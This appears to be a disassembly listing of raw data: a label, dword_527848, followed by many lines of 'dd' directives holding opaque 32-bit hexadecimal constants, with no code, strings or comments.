		dd 1F2DC0B2h, 151D0027h, 623B6B63h, 8D00F34Ah, 0C2CF6B6h
		dd 128E5Dh, 0D54D249Ch,	672DD921h, 19372201h, 0DA8588E6h
		dd 30CAA0C7h, 0BBB1C3EAh, 35F996E1h, 865EC808h,	0CA00B27Dh
		dd 0B39F340Bh, 0F02C4FFCh, 94A53169h, 0F4C35D36h, 0F6000F22h
		dd 0BDA3D03Ch, 304992DFh, 1E784B64h, 100EAF9h, 61B3141Ch
		dd 92B447h, 0BD5EA71Ah
dword_527848	dd 50331BFDh, 0CC98F301h, 0C888B951h, 3CBFE9F0h, 0F7005985h
		dd 6A151712h, 5801C5CBh, 53A64D78h, 23D0CFEFh, 0B05C01FCh
		dd 6D2DBD0Dh, 3D13F4A7h, 1C9D6500h, 21622396h, 0F900058h
		dd 0BD6C75B5h, 5D1DCA93h, 20C06480h, 0A72ADD4Fh, 3289030Dh
		dd 6963D937h, 4D2F1007h, 584D5BFFh, 7630BDFCh, 74F40094h
		dd 44AC8078h, 2C12AE16h, 8B00B52Bh, 424AE6E9h, 0E28D03B2h
		dd 0BCEA9535h, 3C827007h, 8A60DCC3h, 0E87F47F6h, 0C4796Bh
		dd 0CBE9E39Ah, 7D140F5Ch, 5FBA7300h, 0E609068h,	0C712Fh
		dd 0DF467E07h, 0D0423AA6h, 6639600h, 0F66913E3h, 8EB30079h
		dd 0E4EB6D0Ch, 0C907DF83h, 0DFAEA2Ah, 4A1073A7h, 1379F4E7h
		dd 3ACE87Bh, 825D68DDh,	658CF1F8h, 0EA67D800h, 4B6B482Eh
		dd 3E3F6D4h, 51E9E250h,	20006C09h, 5A851001h, 28326F8Ch
		dd 0C0A60h, 9E5D7C91h, 7A510E72h, 29AABD00h, 67D75466h
		dd 85390027h, 0D8641D53h, 0BCF0DC78h, 7AD94100h, 0E7241546h
		dd 0AE300E60h, 0C0C0D6D1h, 8A2E5785h, 5E18F0F4h, 7A696D09h
		dd 5F460090h, 1AE451ADh, 5E03D01Ch, 67DF2E9h, 6A53A070h
		dd 0DDE78001h, 69485D03h, 7CD17294h, 3AB90040h,	0AE2ACD8Ch
		dd 0FA002DE9h, 3288E4EAh, 0F8D3826Dh, 0ED358066h, 0D867C503h
		dd 6A0A68h, 0D9D38681h,	0C2DFF64Eh, 38EF3630h, 74BAA760h
		dd 822200F1h, 0CB9BAEABh, 2103A1EDh, 0B463D3FCh, 8A7E83Bh
		dd 0B358BFBDh, 0AED43900h, 0F76DD22Ah, 21500C83h, 0A90980A6h
		dd 10250330h, 3AFF2E98h, 0E2808113h, 0DF8D5E87h, 8F01F30Ah
		dd 3A3FA98Eh, 0D1FF137Ch, 2890121Ah, 0F49C84DEh, 443BEB44h
		dd 6A4818B0h, 88F7E84Eh, 0CF0F3DB7h, 0C81E6058h, 16D00812h
		dd 0E5B978h, 0D20A14B3h, 0E80FB66Eh, 8FA7F553h,	0EEAD0028h
		dd 539C610h, 0A96F9062h, 0BAC0BA0Ah, 3A139EBFh,	0FC87CFABh
		dd 0E6CB079Bh, 983FF1C7h, 6BB80066h, 702EBE11h,	13D200E0h
		dd 0AF1CE2FFh, 6A00E339h, 0B2528DE6h, 184B0691h, 183857E9h
		dd 400C4D7h, 9701DFDCh,	41FB7Eh, 111C8B75h, 0CFB068D1h
		dd 7712B900h, 0AB905F08h, 495C00ACh, 0F0E354CAh, 564CBD5Dh
		dd 4AC2013Eh, 94151462h, 30FA9880h, 3D0040Ah, 2BA1D700h
		dd 0E9D4865Fh, 609260C4h, 8FE65846h, 0FB005974h, 869DD732h
		dd 7B48Ch, 0A3B6F869h, 4D553D1Ch, 0F77B2300h, 9ACDE4CBh
		dd 0F554007Dh, 3FD2DD03h, 713DB7C4h, 0A5700146h, 24AF1250h
		dd 0EC108D8h, 0E27C397h, 0A8693563h, 8092E589h,	0BD7BF3A0h
		dd 0B96E0h, 0D22D6153h,	0ED9509D6h, 2B634A00h, 0F7E2DBD1h
		dd 41CA00C0h, 8A5B5410h, 67017AA4h, 0BDAD7045h,	79600394h
		dd 0D44F00B8h, 3D2CDA36h, 1C00E058h, 1A49635Eh,	0CF44E5h
		dd 0F00487BBh, 8E9F85D8h, 964B781Ch, 561DBDDCh,	9C3C454Fh
		dd 3116C7C0h, 34CB2Bh, 2AD81197h, 0D0806F74h, 13E42500h
		dd 0DB7268C1h, 3BE01FA4h, 91BCC055h, 0A05F21BBh, 0F0670E00h
		dd 5E8E44A3h, 7AA50178h, 90C71C84h, 97FDC4BCh, 62D67F0Eh
		dd 0E3164019h, 946BFh, 0ACF8CC32h, 0CB4321FBh, 0D8E182F6h
		dd 0C0003E86h, 819F3196h, 1C073850h, 0C0BD6623h, 0B2D46495h
		dd 312C2EDDh, 2700EEB0h, 0D7D61015h, 3F813D6Dh,	0ED5B3400h
		dd 41503E3Dh, 17854D0Bh, 9A06839Dh, 0C01EAA3Ch,	0DE0105h
		dd 0B22A0713h, 0EB233F38h, 4B8B7A00h, 55FDF34Dh, 79AA0060h
		dd 0C8094ABAh, 0E4A0909Fh, 0E030E1AFh, 0DD6C6071h, 7C2E0046h
		dd 84C7D96Dh, 7DFA473Fh, 83F2563Dh, 905DE509h, 0FDC3C0FCh
		dd 11E96002h, 341ADE6Dh, 9171EC15h, 0CF102E4h, 0C05E1F3Ch
		dd 3E169AC6h, 48F912C3h, 88026096h, 0E7EECE92h,	7DC698C0h
		dd 696A7A01h, 199D23D2h, 0E0520h, 6E30AD08h, 0D589B88Bh
		dd 939EE79h, 15070757h,	79203DFAh, 7DA9D3h, 0AE124188h
		dd 0D0AC984Eh, 0C7B64Ch, 0EEC0F9D6h, 0B5AFA0h, 4DE99183h
		dd 88842527h, 2EF88105h, 88426786h, 40D97017h, 3F570764h
		dd 0D5012F85h, 4EF99105h, 0D7B8E367h, 0C400FA0Eh, 682C5DCEh
		dd 18A89E57h, 1141CB46h, 4302A795h, 960739Ah, 0E9888139h
		dd 0A6345h, 8B084C22h, 1E843D78h, 244A09h, 6A937930h, 95007EF6h
		dd 88294659h, 328584h, 39FB9A3h, 3F9D1E4Dh, 0A4F4A600h
		dd 0D9BAE426h, 36ECDFh,	7C244BDCh, 0EF63EEBh, 60133801h
		dd 0AB5BE903h, 71FC6A30h, 0BBBC2402h, 0F6540748h, 5C50905Dh
		dd 253EACC8h, 81FF00D7h, 0B09B2494h, 0EA4A0048h, 6D4D3C12h
		dd 0A500B8ADh, 19CF5406h, 0A2C88Ah, 0C4F07F83h,	0FCD7897Ah
		dd 0E51F4907h, 1320F6E1h, 0FEB4AC87h, 19F41D39h, 0B0B90035h
		dd 5F3E03EAh, 9DB80CFEh, 0F0134E00h, 0D621083Dh, 554C0359h
		dd 0B2178237h, 44B616D0h, 1B543000h, 0C52E13B1h, 3A7D0043h
		dd 0DEE4DC0Bh, 6D14D81Dh, 8C868Eh, 4F157888h, 1A28A58h
		dd 394E6960h, 0E2B45CFBh, 77274460h, 7FFC700h, 2C3BF88Ah
		dd 0AFA503F5h, 3A1C8C9Ah, 0AE001076h, 4505B81h,	167E628h
		dd 49A0ABF4h, 0C8A177D9h, 3F00F18Fh, 477414F9h,	0BEDDD0h
		dd 1057B415h, 381C7F51h, 6909D50Ah, 0B500CCDEh,	291AA641h
		dd 2FF8002Ah, 1E7F62F6h, 0F198085Dh, 14271900h,	3A6D56F0h
		dd 93C800F9h, 6653DB58h, 0A70036BFh, 97B17AADh,	38117D0Ch
		dd 0B280205Dh, 0F25FE3CDh, 0E4E223D6h, 6103A300h, 184A9891h
		dd 0B8797DD4h, 5E110331h, 0E98FD8CDh, 0D56AB0D8h, 0C67AED1Fh
		dd 0F2D91E40h, 4F2C8Dh,	975C7F10h, 3B74568Eh, 53E70500h
		dd 2819DAE3h, 0DDD400C5h, 34933E32h, 0D4E72BDFh, 27035AEDh
		dd 7B66A60h, 3E89E099h,	0BC191243h, 0B458455Fh,	0ADA480FBh
		dd 0B2EE8E26h, 0A70AF900h, 0AE737031h, 7FE00B0h, 4AB0922h
		dd 0FF0BBC83h, 94D0B9Dh, 0C087822Ch, 200FFBDh, 0F3487C16h
		dd 47CCEC50h, 256D7901h, 0A46E7B17h, 0B8FEDCh, 0B2069369h
		dd 5D267AF3h, 8738DC00h, 4BF6347Fh, 9C720666h, 925E32A8h
		dd 0EA2DF307h, 3F409801h, 38957Bh, 311B1039h, 0F38FEE1Fh
		dd 4171F600h, 9B545A7Ah, 616607F5h, 30C9E762h, 22844A8Bh
		dd 965DFA0Bh, 3644014Dh, 0C061B0C6h, 0F0933E8h,	8DA1DDBAh
		dd 4E5E200h, 0BF166189h, 0D000E37Eh, 208FA001h,	837200D6h
		dd 0EB2E69E9h, 2100D26Bh, 40850234h, 1E4E700Dh,	27DE8Ch
		dd 0CE96723Eh, 0C300AB11h, 7084DAF0h, 3C014226h, 2700F26Ch
		dd 0E615982Ch, 0CD0744A7h, 100CBBCCh, 62F24930h, 0A1400BA9h
		dd 8C803E51h, 5E419B0Fh, 0B5520724h, 7A00B812h,	0CB540492h
		dd 0F6AE0015h, 66B593A6h, 68FCE8A5h, 600CEF4h, 0AF5321D5h
		dd 7E69CA65h, 0A0FE0B29h, 3E0268D3h, 97C05BFCh,	391E5E95h
		dd 24C0E7F6h, 0F7577125h, 0FF9C0548h, 0B7C6F0h,	6B894FBDh
		dd 21039B5Bh, 49608011h, 0FC9F83Ah, 827812h, 1E985ECEh
		dd 0CA0A14C8h, 8730E2A0h, 56DD9900h, 72F80C39h,	63FB014Eh
		dd 4654E895h, 48A7CCB7h, 0C9B29200h, 0FDCD8A18h, 0B84758FAh
		dd 0DDBE9600h, 8D6F7039h, 0F4164407h, 0D9E0C6A2h, 7915485h
		dd 0D55D5602h, 50B477B6h, 174489ABh, 0E32EC704h, 50C0CFB8h
		dd 3D0B8Fh, 949BB37Fh, 18F204B5h, 3E09C800h, 16E8547Ch
		dd 8F390915h, 580122B0h, 2091CBE5h, 75008090h, 5754D921h
		dd 0B087B749h, 1FB1805h, 90A1048h, 8B66E000h, 0CCE71C21h
		dd 58910008h, 0D2279655h, 0AF0017D4h, 2BEA5952h, 2DD570h
		dd 0B85FE4A9h
		dd 29EEB27h, 1E46A748h,	62003EAEh, 8DE9806h, 0CEA31261h
		dd 7F04C0C1h, 13002489h, 4BB4A467h, 4198DCh, 0B65085CCh
		dd 0BB2ADF33h, 5A01710Dh, 0BEF0B822h, 41FC6089h, 52C5B47Bh
		dd 0C3CC080Fh, 0F8E3E3DBh, 56F800Bh, 0AF9B020Ch, 20B48CBFh
		dd 8FC320E0h, 54DD2200h, 16197758h, 569A00C5h, 4ADF2EAFh
		dd 220A447Fh, 9484A729h, 1B3E259Dh, 0C070B859h,	382989Dh
		dd 23B935D9h, 70E8D3DFh, 50A84301h, 0C84C1D0h, 1252C3FCh
		dd 44E0FBA8h, 9A9614A0h, 8D5EFD00h, 0F55C5DA2h,	83F095h
		dd 7BA08FE4h, 37B566D2h, 68524100h, 8D7E044Bh, 0E14400B0h
		dd 1F320CAFh, 0DB00EBBCh, 0B649088h, 349B6CCh, 0DE9CBDF9h
		dd 0AEB84287h, 94017CFFh, 5E5AB0EBh, 54402E17h,	2E969E66h
		dd 79AE3Bh, 0B3523A7Bh,	5503B483h, 0A8587407h, 63F901ABh
		dd 7EE09BF6h, 5BEFCE5h,	0BCC8BA26h, 82079F00h, 0F22A6B50h
		dd 0A7EE21h, 0A5FB1D2Eh, 9B1F6C9Dh, 48FECC00h, 0DE05AF29h
		dd 540307F0h, 0C00D2A6Fh, 1894C7B3h, 13993A60h,	3C9C52h
		dd 67DF268Bh, 5640360Dh, 62E0FCF0h, 0F0542700h,	0C643BFF2h
		dd 219D001Dh, 753D8D5h,	85786503h, 0BFA5290Fh, 0BAD1A0ECh
		dd 78FAEFABh, 2E9A00B6h, 0F8A92A89h, 8401DEF3h,	3ED331AFh
		dd 0FA606246h, 823915ACh, 830DE087h, 87992429h,	2D22ABE0h
		dd 0AD6419A0h, 0AF130C9Ch, 212047A3h, 39FD6130h, 0C59B41Eh
		dd 2D857FC2h, 1C00F541h, 49B5BD3Dh, 47A136h, 1678BF63h
		dd 75D67A5h, 729B6100h,	70A29C8Dh, 0E2F098h, 5592CC51h
		dd 4CAA5876h, 491C5F1Fh, 8D2885C7h, 0CA60818Fh,	4C3066C7h
		dd 32710E94h, 0D66035A6h, 9B855138h, 0D428E03h,	22CD9E67h
		dd 0F5008029h, 254AB545h, 63C9FEh, 66C63815h, 60FF8190h
		dd 512B1300h, 7D4EEEAAh, 22C70023h, 0C5B8C8D3h,	0C46E4777h
		dd 0CEBFC010h, 7DB0A8h,	0E8F6FF3Eh, 36C089CFh, 7400B098h
		dd 0B3EED3B4h, 0E68449h, 0DC45248Ch, 75A71E5h, 0CA1CD00h
		dd 0B25EEC83h, 856B5CFEh, 4044981Ch, 0C6391D20h, 0F007663h
		dd 8CAA0CBAh, 2B4C0Ah, 35D1A2E4h, 36475C15h, 50011998h
		dd 0A0792E81h, 9043934Bh, 4E56C099h, 0A28C00FFh, 8B0D6E8Eh
		dd 0D000A307h, 75CE37B1h, 72D56DA6h, 0E53900EFh, 0E0EE5608h
		dd 0B303CCD7h, 796702FAh, 0B438D8C4h, 0B5293CCEh, 403BA61Ch
		dd 72EB542Bh, 5376E95Ah, 3F9BD700h, 40B41688h, 266C057Fh
		dd 34ED191h, 58E0C093h,	0DF9A8084h, 722E3050h, 0F800E521h
		dd 0EA3C98B8h, 77B70019h, 7549A734h, 9202B28Eh,	8A20E326h
		dd 7D04404Ah, 88415CD3h, 913E4038h, 3B6E3980h, 0AEEEBA17h
		dd 65339203h, 0A087C236h, 0F8893029h, 7160091h,	85242E80h
		dd 0B670470Ah, 78459D00h, 34056D83h, 0DC00E59h,	0B901E09Fh
		dd 0C85C6A84h, 0DDE2694Dh, 946F1D00h, 70F5BCAEh, 0A4493CD8h
		dd 0BB290F00h, 88ED6BAh, 11409B00h, 90D45E01h, 4D2000A3h
		dd 66415C1Ch, 0BF71CD31h, 0C900647Ah, 0CCD1B035h, 7179DB4h
		dd 78A9B561h, 674150B8h, 531D4A20h, 400CAB9h, 429B7401h
		dd 6EFC0B2Ah, 7D80C834h, 293F1D8Bh, 0F2CC60C1h,	80E0DA2Bh
		dd 319300B6h, 64A67301h, 4D51EFA0h, 60E6E59Ch, 6D00E742h
		dd 6F032759h, 7184A4F2h, 65250067h, 0D7A3D9E9h,	4224FA5Bh
		dd 0CC1EB86Ch, 4AE360C0h, 8BEB10h, 1CDFEACBh, 0A06E2D8Ah
		dd 7B659CA0h, 60889D76h, 8E134C10h, 0B022FB00h,	6F40542h
		dd 2F1BF700h, 38F27867h, 0B5860024h, 1F41608Ch,	73074975h
		dd 0E0B9B71Eh, 0B10D97F1h, 134DEEECh, 140CE63h,	0E70BB300h
		dd 0CF99D018h, 661B9300h, 0AE9D2635h, 1AFB00C0h, 0FEBA9A29h
		dd 6B07ACB2h, 0F65BD522h, 0D9ABE2C0h, 0A036009Ch, 4DE76219h
		dd 0C81D4581h, 3503A130h, 92678FAEh, 83340DAh, 0EA3898A0h
		dd 89101h, 0C60219B8h, 8816FA71h, 0CB1D4504h, 393CF9h
		dd 545C14F4h, 247AC527h, 24C4A6EBh, 4649303Fh, 3D01B9A4h
		dd 6FEE5C88h, 10F05B25h, 0DFBD58BAh, 34940078h,	0A116F841h
		dd 9C006A7Bh, 50C7B6AFh, 0B86C3Bh, 0FA04E846h, 456E31E2h
		dd 83EB990Fh, 2FF1C2DFh, 5AA2C063h, 1FFE00DCh, 7378AD7Bh
		dd 4512EBF3h, 0B300195Eh, 0F431F0DDh, 9DC30798h, 40B2A144h
		dd 0D40999CCh, 0B967B09h, 1280FDBBh, 0B36E655Dh, 0DA81FD00h
		dd 7BF2EAD2h, 1F73006Ch, 16F16D5Ch, 9707D36Bh, 18699FC0h
		dd 8AD9DED7h, 499F381Fh, 0BFCC6000h, 9C9A12h, 6871846Ch
		dd 0F8B86F7Ch, 74812C1Dh, 23FFF80h, 0C4E3EBh, 4DD26DF7h
		dd 0C147D32Eh, 44F0837Dh, 8BE9C304h, 0BD0057C7h, 0B6A3F9F6h
		dd 8A07C672h, 0E8174239h, 0D10A8E40h, 0E9870B7Eh, 9180914Fh
		dd 193086Dh, 0D074CC78h, 64394500h, 54835EC3h, 757F00ABh
		dd 38DB57C8h, 0FA007B73h, 25B580DAh, 30AE9CBCh,	0B0767F77h
		dd 0FF50BF20h, 8600DAF4h, 18ED252h, 0EC605F53h,	8DED000Fh
		dd 1D10F950h, 3248C812h, 0E8AC4B3Ch, 7CDCC600h,	2A6908F6h
		dd 0D7AF9907h, 80C9EB06h, 11BCA8E0h, 3CDA00CEh,	0AC9F1D35h
		dd 0E0092888h, 78A8341h, 0ED0039E5h, 4CA95Ch, 0D22CD09h
		dd 0E66A8612h, 0D7014C98h, 247D593Ah, 0FED06766h, 0A0FA6Ch
		dd 555FDF70h, 2EBF2A4Ah, 0D734F900h, 0E4EB7B4Bh, 0FE9828A4h
		dd 6BA926A5h, 797500E5h, 0F2F72D8Dh, 39522E00h,	227432CBh
		dd 740EEE11h, 0F92F49Fh, 89A5BC28h, 5F666140h, 0E11893A1h
		dd 4C10F0DCh, 9D970012h, 883E8AC6h, 8490AB6Dh, 54445800h
		dd 192C791h, 0E22E00FEh, 0E6950789h, 3770FB03h,	70DC8450h
		dd 3D9D0900h, 5F25F3DEh, 0ACEA1E96h, 247824DFh,	0C0760081h
		dd 2BE40DE3h, 0D500A9F0h, 0D704BC71h, 0B9D3DA57h, 8FCB001Ch
		dd 6AE5AE41h, 0EDD9741Dh, 0AF0CF43Ah, 998E9EDFh, 0B57F2Bh
		dd 0D2733DC5h, 90708DC3h, 535E9600h, 0B7D1A504h, 3BDF0F4Ah
		dd 8EA02574h, 2CF08D1Ah, 1EDAE107h, 3581A257h, 0A3C0A0A7h
		dd 5AFF00Ch, 0B1CC2D5Fh, 76DC015Eh, 9C54E96Fh, 0C5404D99h
		dd 0A129D240h, 7193002Bh, 3E73DD5Dh, 5548CDC4h,	582C32E1h
		dd 39548380h, 60C1A5A0h, 0EF60837Ch, 0B88907F6h, 397EA151h
		dd 54605000h, 0DC00F442h, 0B14A3C4Ch, 26E68943h, 0ECDDBDh
		dd 77FA5110h, 491485BAh, 7CA004B4h, 0A9818A24h,	3AE1CD00h
		dd 0ABAD1Bh, 9D374FEFh,	0D11A5B49h, 0D40A9000h,	3FFD3DBh
		dd 5D577A55h, 1861D074h, 0D096BC9Ah, 20F12DE9h,	8A07CD58h
		dd 90BBC4F9h, 93E9FF0h,	0B9113FAAh, 5A9DB601h, 60A616A1h
		dd 0E70091EDh, 23E9DF26h, 30F34B72h, 451022B1h,	7900A547h
		dd 36AACE0Ah, 198E28h, 0ED135A4Bh, 0EFC6FEDBh, 0A1F66709h
		dd 0A563003Bh, 1BC1C23Fh, 0E05AD0B2h, 0DB9E83A8h, 0DF90B60Fh
		dd 0EED7C094h, 1D95F7Ch, 0E4CA8084h, 5406B492h,	12F5C088h
		dd 99057E39h, 93AE3FBCh, 3EB44B80h, 2BD93156h, 50DE0329h
		dd 160958F0h, 0B28884A0h, 1FDF7413h, 57AA8840h,	0C5A6C3F1h
		dd 24E328h, 0E02DDBB0h,	1E1E1123h, 31409E47h, 48CF1D34h
		dd 6DA80066h, 0E4F62796h, 0A418828Ch, 63089C4Ah, 0A8690031h
		dd 5A261D06h, 5100DED6h, 166171AFh, 18920CDCh, 59211E23h
		dd 50C257F7h, 903631AFh, 8279830h, 851CE4F4h, 0C497464h
		dd 141007FFh, 0D5010E60h, 21D000B9h, 1AF2E8F9h,	0E401F3C9h
		dd 657F644Bh, 5883CDA8h, 0F1854927h, 14102076h,	2D067EA3h
		dd 18DA5A94h, 8CE26E0Bh
		dd 5B2DE5Fh, 4849BF54h,	0F2CE3980h, 94E40805h, 20768062h
		dd 0BE26380Dh, 21C81307h, 4AC0A615h, 0C3E178EBh, 410846F8h
		dd 753889F8h, 6DFC951Fh, 0E8921CC0h, 544DA9Bh, 40D98B98h
		dd 0A3B9808Ch, 0F02758Eh, 970E676Dh, 0AA88E0D3h, 70776E1h
		dd 0B67E494Ah, 0A7E99060h, 1A26AD9Fh, 6F001FB7h, 2D3075DAh
		dd 51810038h, 0AD5AC25h, 8700AA76h, 8A0F3F57h, 716D667h
		dd 3DC21A5Eh, 4BCAA3C5h, 48FCC0A8h, 7B66D700h, 6351610Ah
		dd 67980039h, 84B5D1CBh, 901D22A1h, 0F28037ECh,	0C1B4381Dh
		dd 6E493EBAh, 4EC58C83h, 91973C6h, 5A2021A2h, 36E70A00h
		dd 8F6FB600h, 348E307Eh, 0DD0B009Ch, 0C81F168Bh, 0BB0D1E6Ch
		dd 18925610h, 0C6119760h, 7059D819h, 98BE3338h,	29210A2Fh
		dd 1E683370h, 20081A68h, 339A1B6h, 0DAFF0D01h, 563A407Ch
		dd 8018E9EAh, 0ACE2C4F5h, 0D2B4016Fh, 0E7B58537h, 0AEAB200Fh
		dd 446D3E19h, 9F201710h, 0DBB0066h, 33EE98F9h, 650075EAh
		dd 0D6A78C73h, 1807A249h, 824882ECh, 25006986h,	2ECFAF64h
		dd 0BF3778h, 0D26BD9Fh,	6559878Dh, 3FF0B100h, 0B0C1C33h
		dd 0B12A50FBh, 9F5801A2h, 1EE8EC9h, 0FF2ED86Ch,	0A1B3B400h
		dd 0F6BE5DF0h, 5A1300A6h, 0B7CD2384h, 1F00672Ch, 61DF1930h
		dd 5393DAA9h, 0FCBB049Eh, 0B88C4C7Ah, 4B389080h, 0D90FE2B4h
		dd 0E05F4CC1h, 10DF42E1h, 1EA63045h, 257DE819h,	88AA5044h
		dd 0DD00378Bh, 761693DCh, 1A9E92D8h, 2156429Ah,	27113C00h
		dd 49701D73h, 0C6EF400h, 0B0A2B49Ah, 0ABA40F06h, 0A982031Fh
		dd 22C0C10Dh, 0F93C098Dh, 0E0600ADh, 0A580944Dh, 0C04EE862h
		dd 0E9A00B50h, 0E0F993DBh, 0C6EA3831h, 0B2B89C05h, 400B456Fh
		dd 5CB18078h, 80DF43h, 0A962CC1Ch, 6CB55B45h, 0F994A2Eh
		dd 600ADB00h, 1B93DF39h, 0C8D6A996h, 0D8AA80E7h, 597E3BDCh
		dd 8218177Dh, 83903749h, 40581846h, 813E68E1h, 5E04F8C2h
		dd 0DCE923E7h, 72F8E8C8h, 0A9DF5A0Ch, 1D8182Ah,	0B75CF49Dh
		dd 0D87127E5h, 61016A5Bh, 897E3A55h, 0DAF8C539h, 0E3B01F2Eh
		dd 0E291FDDh, 0BAFDC821h, 0A02D010Ah, 785683ACh, 64EA179Ah
		dd 307DE8A3h, 468E3FB0h, 1952F2F6h, 411703FCh, 625D059h
		dd 1B9F5DC0h, 43008020h, 0C110F954h, 50EEE87Eh,	2A59845h
		dd 0B82B2167h, 24B1F3DAh, 408F0CCCh, 72307329h,	366A19A5h
		dd 0F5CEA44h, 3975C1A2h, 60C24CA0h, 700CA29h, 0FDE3E064h
		dd 31BFFBDh, 7D745ABEh,	90010365h, 464F9F4Ch, 0B2C82D94h
		dd 0FFAC1EF8h, 6BE500C7h, 0CD9B55DBh, 0FBB88103h, 0A8D3F010h
		dd 0A56C1FAh, 0F49F4531h, 7454C158h, 71B70148h,	63931D10h
		dd 21EE28C0h, 2A77A3D5h, 0A080C2E8h, 83E0BE74h,	0D94C2781h
		dd 9BC50A7h, 1C37E7E5h,	0DA14814h, 0F8B8201Eh, 258161B9h
		dd 754FF568h, 0D0602577h, 9B1FB874h, 381DF417h,	8C60794Fh
		dd 9D9501Eh, 55F28263h,	0EAA5C20h, 0C507611h, 7491DD98h
		dd 40256E12h, 0F465900Ah, 78407CD9h, 248BC764h,	398AFE9h
		dd 0A792828Fh, 2C1C6901h, 0E1C4C363h, 98015EC4h, 0D0FC8B0Ch
		dd 15AA4DCh, 2475BFDh, 580F6B7Bh, 73432834h, 39877600h
		dd 0A191666h, 209EB8C9h, 375D40CCh, 0BF080A15h,	9C2832h
		dd 0DDEE6779h, 870E51C8h, 133946h, 0E12EAAD9h, 8B4C09CEh
		dd 6C20ABE6h, 7B5ADF5h,	8E0079FAh, 0B538209h, 0D18432Eh
		dd 0C3429B8Fh, 7D8800E0h, 670FF49Ah, 0C57E9216h, 5C14094Dh
		dd 0E5517CD4h, 76A44880h, 47FEF48h, 1D46EC77h, 0F320C9h
		dd 6D86C31Eh, 0EE6E73D2h, 1C45AB07h, 0E07010F5h, 70289AE4h
		dd 474B0756h, 0A0F6E12Dh, 0DC835DE2h, 342970C0h, 2025F959h
		dd 5A02949Ah, 58D27DA6h, 134048CDh, 0DFCF1EECh,	1EA9F087h
		dd 0F91FFBF6h, 4830575Dh, 32A6414Bh, 0E628CE81h, 1F4CFA10h
		dd 2F6E265h, 0AE25F813h, 715E3483h, 0FCD8803Fh,	7C81A8F0h
		dd 0FC3CE8BEh, 0B6F468E0h, 8DF602ADh, 5D1C6A03h, 0C055564Dh
		dd 4614F14h, 2F08EECBh,	4018D424h, 5AF82994h, 34003884h
		dd 3F551681h, 0E4D35C65h, 0B1716062h, 4ECB69E3h, 30048102h
		dd 4029EACEh, 0A05DA760h, 742E83DCh, 646301B2h,	2130777Ah
		dd 79B83027h, 0BD814711h, 8D0C2B38h, 0E918FDBCh, 4B28A31Fh
		dd 45148024h, 0CE688AE8h, 602B550Fh, 1F422CFDh,	44C259CAh
		dd 21AAE502h, 744A3533h, 0E330FC02h, 2E4610C8h,	550CF61Dh
		dd 63AF6600h, 7A776DEh,	0BBC5BC6h, 65FE50A9h, 7977307Ch
		dd 425AAE05h, 0BE01E64Ah, 949F0F21h, 2446B04Ch,	508DFB0h
		dd 865BBE3h, 0CC0042B8h, 72E659B7h, 30610446h, 8960C396h
		dd 7FC0EB50h, 4D10F35Eh, 650163D2h, 0ABDFC120h,	0F0B047E0h
		dd 148429F8h, 0DE227903h, 4CB8A142h, 26787041h,	148869E5h
		dd 4D00C46Bh, 0FACBB9D1h, 0AD3F33E1h, 0D1863BDh, 0B8AFE008h
		dd 0D8E6056Dh, 80FD2175h, 5E1AE8A1h, 6A798CA0h,	8255AB7Eh
		dd 65E85094h, 45188746h, 0E6290738h, 5C150C2Ch,	0F6305183h
		dd 277C88h, 76E0701Dh, 0C5F1877Fh, 9953C400h, 0B1849A6Dh
		dd 58147CC1h, 0A41C14A6h, 4D5749A5h, 685B0C00h,	650E2A64h
		dd 0C2EDC3C9h, 40F0143Ch, 0A74B8Ch, 0DE3437FBh,	4AAF7D96h
		dd 9A5C2700h, 4F2FF153h, 0F6401EE9h, 127704A9h,	16E0CA49h
		dd 80612B3Ch, 0E8652E45h, 26429DC0h, 0C52892DBh, 109CCA7Ch
		dd 34547960h, 4D9988DCh, 9E80552h, 2669D1Eh, 4482978Ch
		dd 93EC8968h, 2478A024h, 9E064CEh, 0F000E1ECh, 52FF11F6h
		dd 656B7200h, 64844B18h, 39B27067h, 0C707D23Fh,	0A3E46FBh
		dd 2210014h, 0A2659198h, 9ABB332Eh, 0BD20B318h,	4FB9003Ch
		dd 7CC07118h, 0FA801C65h, 502083B2h, 0EB560C9Fh, 0CA4952FCh
		dd 0A0A61840h, 0C8B01714h, 35114240h, 0BAF0240Fh, 0BF1B1D87h
		dd 73BE4FE0h, 0B2070C7Eh, 0E0D23634h, 33BBF5E0h, 7796019Ah
		dd 3D6BBDDDh, 536EDC8Fh, 62279800h, 9AD813D2h, 913F0EE8h
		dd 1F607B16h, 0D332EC74h, 36246C00h, 419275D7h,	5C9C0083h
		dd 0E7670E1Ah, 0A100D5C2h, 95D73120h, 0DC993Eh,	8832B9F5h
		dd 27B252FBh, 0F100C3F6h, 0EE62F9C6h, 0C0DF557Eh, 830FBD38h
		dd 402AF875h, 0EF00BCE5h, 15B03416h, 368CD5h, 27B873Ch
		dd 0C3AA6971h, 68F08EECh, 43580A8h, 207CAE30h, 19787Fh
		dd 16F9B032h, 82D363EEh, 7450E50Ah, 0EF007840h,	0EC7BACBCh
		dd 17F6158Bh, 0F306E421h, 59BD669Ah, 8EB3153Ch,	14B51A39h
		dd 0F1C1774Ch, 802B407Fh, 79DE5080h, 0BB7320B3h, 0B70A1AF8h
		dd 5C01F845h, 0B240FE98h, 3DF91EC7h, 0C909381Ah, 2C012D38h
		dd 20FBB7BEh, 2C300445h, 0BB8381D2h, 4A7F30C0h,	1C2BF438h
		dd 0C83789C0h, 0A6F15F9h, 8E88744Fh, 2485206Ch,	80240EC6h
		dd 0BD504532h, 0BE1484F8h, 0C0BCB74Ch, 0B3733734h, 498200CDh
		dd 0FAF28AC7h, 8D1BC8Ch, 0AEA0F718h, 3A33F3h, 0EF806A5Fh
		dd 7F42B7FFh, 0B5BF922Eh, 0F603F037h, 0CEF9C045h, 0F2C50089h
		dd 9F324C1Bh, 0F700BDF5h, 0ED6A433Eh, 615FA73h,	0F304A3DEh
		dd 8F32E91Bh, 62371A3Fh, 0D8401026h, 0F7E00795h, 0D0FE756Ah
		dd 2BC76844h, 76B239C0h, 28AC187Ah, 718C6C26h, 0AFDCA816h
		dd 0AB370FE0h, 3E8EB9FCh, 3504092h, 6BAC4169h, 504D7403h
		dd 0B47619h, 7F706D50h,	9ED017C1h, 9D0CCD3Ah, 1C80E9EBh
		dd 8369F445h, 488849C5h, 6340FA0Ch, 9501EF89h, 0BBB4286Ah
		dd 0EC521E76h, 7F944069h
		dd 6E70E9h, 6B376AF3h, 0FEBE52FAh, 5BB9161Dh, 1B15F83Dh
		dd 6A4F9E9h, 3FCF556Eh,	0D5E20038h, 6B38B9F0h, 411CC44Eh
		dd 734035A1h, 47C976FFh, 83F53C7h, 0C036BD10h, 416B8997h
